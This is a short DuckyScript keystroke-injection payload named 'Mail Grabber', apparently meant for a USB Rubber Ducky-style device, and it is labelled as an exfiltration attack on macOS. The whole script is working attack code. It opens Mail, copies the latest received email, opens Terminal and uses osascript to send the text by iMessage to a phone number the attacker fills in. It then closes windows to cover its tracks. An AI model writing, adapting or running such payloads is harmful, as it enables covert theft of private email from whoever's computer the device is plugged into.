REM Title:         Mail Grabber
REM Description:   iMessages the last received email in the Mail app to an iMessage device of your choice
REM Author:        matthewkayne
REM Category:      Exfiltration
REM Target:        macOS
REM Requires:	     Device with iMessage to receive the data

DELAY 1000
GUI SPACE
DELAY 200
STRING Mail
DELAY 200
ENTER
DELAY 400
TAB
DELAY 200
ENTER
DELAY 200
GUI a
DELAY 200
GUI c
DELAY 200
GUI w
DELAY 200
GUI w
DELAY 200
GUI SPACE
DELAY 200
STRING Terminal
DELAY 200
ENTER
DELAY 300
STRING x=$(pbpaste)
DELAY 200
ENTER
DELAY 200
REM Replace PHONE_NUMBER with you iMessage supported number (leave the @'s, they are required to run)
STRING osascript -e 'tell application @Messages@ to send @'$x'@ to buddy @PHONE_NUMBER@'
DELAY 100
ENTER
DELAY 200
GUI w
DELAY 200
ENTER
